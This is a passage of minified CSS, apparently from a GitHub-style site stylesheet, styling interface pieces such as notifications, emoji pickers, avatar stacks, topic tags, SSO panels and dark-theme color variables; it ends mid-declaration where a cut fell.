.wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 